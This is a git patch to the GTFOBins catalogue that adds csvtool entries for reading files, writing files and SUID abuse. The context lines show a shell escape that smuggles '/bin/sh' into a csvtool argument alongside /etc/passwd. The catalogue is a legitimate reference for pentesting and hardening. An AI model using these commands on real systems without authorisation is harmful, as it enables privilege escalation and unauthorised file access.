From c51b90a1bbf1d0469e480d2a132d4f63a2676038 Mon Sep 17 00:00:00 2001 From: LinuxSploit <68427058+LinuxSploit@users.noreply.github.com> Date: Sun, 18 Apr 2021 05:17:49 -0400 Subject: [PATCH] Add csvtool file-read/write --- _gtfobins/csvtool.md | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/_gtfobins/csvtool.md b/_gtfobins/csvtool.md index 890a171..a2e1c8e 100644 --- a/_gtfobins/csvtool.md +++ b/_gtfobins/csvtool.md @@ -1,5 +1,21 @@ --- functions: + file-read: + - description: The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data. + code: | + LFILE=file_to_read + csvtool trim t $LFILE + file-write: + - description: The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data. + code: | + LFILE=file_to_write + TF=$(mktemp) + echo DATA > $TF + csvtool trim t $TF -o $LFILE + suid: + - code: | + LFILE=file_to_read + ./csvtool trim t $LFILE shell: - code: csvtool call '/bin/sh;false' /etc/passwd sudo: